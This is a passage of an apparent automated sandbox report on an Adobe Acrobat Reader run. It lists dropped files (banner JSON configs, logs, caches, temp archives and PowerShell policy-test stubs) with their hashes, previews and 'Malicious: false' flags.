Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.244151999251767
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJfbPtdPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGDV8Ukee9
MD5:	3749D824F2F2F8C492DB382356D17FE0
SHA1:	CAC3956EDCA6AB1C1EC5CC2CA10508EA911502D7
SHA-256:	2EF9EFF7C2AFA7D78F116D9B143404F3DBD542C99DAB84F2D8C21E6BF2E2F71E
SHA-512:	B6D511A00B26B6A8F30856EDE3447EE3D59FC40B61A3A27581961A1E139EEED8732BA93D30071748A190382391E0CB68F851A306F93559235690AB0BA9B96DCB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.242645887887558
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJf21rPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEG+16Ukee9
MD5:	E147A1C9B0AEDE1A6C91F7BA5FCA5BE5
SHA1:	31F1F412EF3E919B90C8D7F87C474EE41BE3DA18
SHA-256:	4B75B8294D237FE24468A28F93F9EADD3C82C30097E17CC7B7767842AA3105B8
SHA-512:	F42AE684A2177C975AC20095A729971C710C776B8CC75C34EF08DEDA3D74EC41EC9C78E5141953EA6EBBECD059CC6C88594EC1882A60CE541BCEE3E155FD3C42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.656204108227283
Encrypted:	false
SSDEEP:	24:Yv6Xf3JhSBamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSD:YvE3JhcBgkDMUJUAh8cvMD
MD5:	5063982431DAC7E2C1D1637E1E4E223A
SHA1:	151E529F4AA0A26AF48B12ECC77A9ED487B62BE7
SHA-256:	894F7453ABB476ADF13C762F8E1ECB3003F0F86601B6295D61C18EB6A58AD74A
SHA-512:	AAC9FC0167F7907B77B43832605F51267D8A0136EE807A1B0098CC8AF6519F4A553CDCAED3CAF46F187C6700CD201D4016C67837BEA3163E6C2EF1E93327C7DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2176582503007305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJfshHHrPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGUUUkee9
MD5:	A240DB5585A14711163E21DD66D922BF
SHA1:	D1101D02C3CDBAD674D0DDF361A114F0BCE6F1E3
SHA-256:	A83396BE061C42BF42C93ADC1B1B461F7C7B224CB821E781E52C92473A0250BA
SHA-512:	6ACDCAFE87DB46D84ECBC68C34FB8AD304BEC75D57F7C4F6628592962261E86AA625A6573D8FB60BF7FFE0AD9AE744A93ECF6D072A70456C2C28A249A0AB0246
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.240163350370752
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMGE6AGpvB3/dVlPIHAR0YgXOKoAvJTqgFCrPeUkwRe9:YvXKXfE6AGpvR/ZwHAeEGTq16Ukee9
MD5:	8D7922B2B2BA9E451CFCE6CA0CF89A60
SHA1:	0829B5723B340D44780BC4F5586CDD6086749ED2
SHA-256:	438ADFE38C7C8529A725CAADCF404F41DFD066F82041EE2A84675503FCAA0C17
SHA-512:	F4D181C090B1B0DD2F5C148A38E5B05D3041E25FDA7E1609118B33DA69313301443E2319A11D0540D18DABE8EBC6F8DB9948BFD6D5658F3F3ECE43D3E0CBA4F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a064eb76-e906-49bc-be4e-cbddab79cc60","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737820515,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1271178809511095
Encrypted:	false
SSDEEP:	24:YmAQXGawv1ay8nvb+UEqEJcYVIaX2XQB4APjUQcj0SWfDN/TC2O3jE2LSWRC/C0N:Y55TXcn4BD6JtjEa2VRlKTvc+N9OlR
MD5:	DCC95BBEC3413739E5E6A209D9A7D932
SHA1:	BAE714101D06AB1DF27530D08257B5166F5C9FA5
SHA-256:	E84D2AC24373EF51109AEBBB2EEA737E1542D274F98025220B96B18C1B74114F
SHA-512:	083DF98112664EF4AFC3410505309923DBCAEBAB7B9165C6E4ACB0A87145E402441218A8A41F832EFBE32253670157796796218B95739202FDFE392972EC44EE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"8caf7392a29b13cd8f822a36da0218fb","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736561059000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b3bac1afbd9cdda47f4ca9d216e26771","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736561059000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"201f1afe02fec11cb07791340e9bf6ea","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736561059000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"289f00bfb741dbf695038706223da065","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736561059000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6a3260deee37aed2d5ca771c818eff40","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736561059000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"67ffc92544adde251fd7a8b1426572c0","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3193684677304518
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeE0tqVpC:TGufl2GL7ms9WR1CPmPbPahEeypilI2
MD5:	1E1699A86EFC080C755EA6F1C717FAB2
SHA1:	BBF68CE6E336091BEC4CF4C6D0C26DA527F2CC39
SHA-256:	478454BE571765575B45345C971CA3DEDB4B36491E88F123469888B0F1AC9F02
SHA-512:	34F50D9EC70792C13A22EDD73CAF0CD6470BAA2FE020BBA6026C463B2A152085D8969C68E8D6A8D395DA61393CD143792AA28C6BEB794D9C88CBC87D3A37DC6D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7810184403966351
Encrypted:	false
SSDEEP:	24:7+t2lhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeE04qVpaVrScVr0In0qLhx/E:7MdWR1CPmPbPahEHypilIRqFl2GL7msm
MD5:	ABC5576B3E6696D57EF5C51C771D31C9
SHA1:	006A0F5AB7AE390FB6BDE8A502E75D74C8A61647
SHA-256:	6B0CC7BAE57B430E555A8303A161E720DA234EB19792395D05F78375D304C675
SHA-512:	E5263B683B481878E7EE413D4E64E79E0EDD74966575D09329DB6074EE9220D859C79ABCE953C8FCC65084E5A9CB63A6695F7BB5C0DA2A3284FDE977D57D2FC2
Malicious:	false
Preview:	.... .c.......R...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg3D+4qaDxHwOzdAz1s08RlHV6BwIkYyu:6a6TZ44ADEz+4qaDxHwCFDOkK
MD5:	4E0EE05B8E78A5741828D4200BF4D7E5
SHA1:	FAE3CA1ED6F9CC4F63696C33D9B6E0D1E75E5A43
SHA-256:	59F1BF7B058263267D1ED27472E4DFCA799302AC951AADF35349D84569576BEF
SHA-512:	E2E130685149A590CF219CE2EE282D311E5B31EC434A3CA72D473CACF5F39E57AC161BDFB9B495E2588EF4C8E326FB74AA593F8F9607B616AD3B7C2E75740CB9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIe02d3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.503482856767026
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsbKw:Qw946cPbiOxDlbYnuRK+b1Kw
MD5:	4D786C404E9342AD0FE707C0F0E19524
SHA1:	2C5D34C4E4C35D1B96F930FBDF9E8128D2D329AA
SHA-256:	569D7FADB077896C69CC9689B148D37DB176F77CD16FFA445B1AF8C5BAA4833D
SHA-512:	0C601B8C328E75908FE06B9986E4F93E2395E9DBDD96D3FE1C66E762C9C7D40F837B4B429183046F1877262F9C1AF8C78D3060D71F261FB3DDA010F4B8E308B3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.0.4.:.1.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jqrlbeuf.a0p.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wzbcxaqh.jib.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-04-12-836.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15092
Entropy (8bit):	5.361695047530712
Encrypted:	false
SSDEEP:	384:sGsz0qN/elsmNWNkwy1vNVAAcj2r9TDnb09r5hLSQ3tKyBjV2ARmk4F4lw8iYn8I:2SmP
MD5:	C1E65CD194CBAF8D6DA846BDC0180E04
SHA1:	97B1932D7E6D16AFAB9368D2B62F214FCA4084D0
SHA-256:	D73E2A01919CA97EB3874CAB688DA01D4C39200E69C97D3F43F8C65C2911B161
SHA-512:	526C013221B5E92BBCD21CE434015A6F7AFE3FBBA1B995E0404059E6B44D8CFEC19FD30055361425B2E969AAF952F98E951499B7307DB20B0D118A718AB085D8
Malicious:	false
Preview:	SessionID=71d8226b-32ce-4c79-9402-c03345bd8b62.1736561052888 Timestamp=2025-01-10T21:04:12:888-0500 ThreadID=356 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=71d8226b-32ce-4c79-9402-c03345bd8b62.1736561052888 Timestamp=2025-01-10T21:04:12:890-0500 ThreadID=356 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=71d8226b-32ce-4c79-9402-c03345bd8b62.1736561052888 Timestamp=2025-01-10T21:04:12:890-0500 ThreadID=356 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=71d8226b-32ce-4c79-9402-c03345bd8b62.1736561052888 Timestamp=2025-01-10T21:04:12:890-0500 ThreadID=356 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=71d8226b-32ce-4c79-9402-c03345bd8b62.1736561052888 Timestamp=2025-01-10T21:04:12:890-0500 ThreadID=356 Component=ngl-lib_NglAppLib Description="SetConfig: N

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4037507995851115
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb/ucbeIFVcbp:ceo4+rsCRrFq
MD5:	D5EE56C98C0B2AC88D89493D16126ACB
SHA1:	9BEBDB291976ABAC501993D09C64F6DDC7171766
SHA-256:	2689DEF6F321C1CA24CBC0BF1372F0A2EC2004CD28701AFB48975CA4F588C473
SHA-512:	770FDFFCAC59F6684BF72199021478774394FCD985FF936DF994F4077072257523194B6A7E0F892D68AA3C1331F4F0AB883A234D0C9E23C45A26B3F0BF883F0B
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\27d6d2c5-adc6-4dd8-b3e3-44ae3bdc8c2d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\34562064-3c7e-418e-b602-11b18a7edde1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\4cf35778-b70b-42b8-9d1c-6a599cf3c04b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
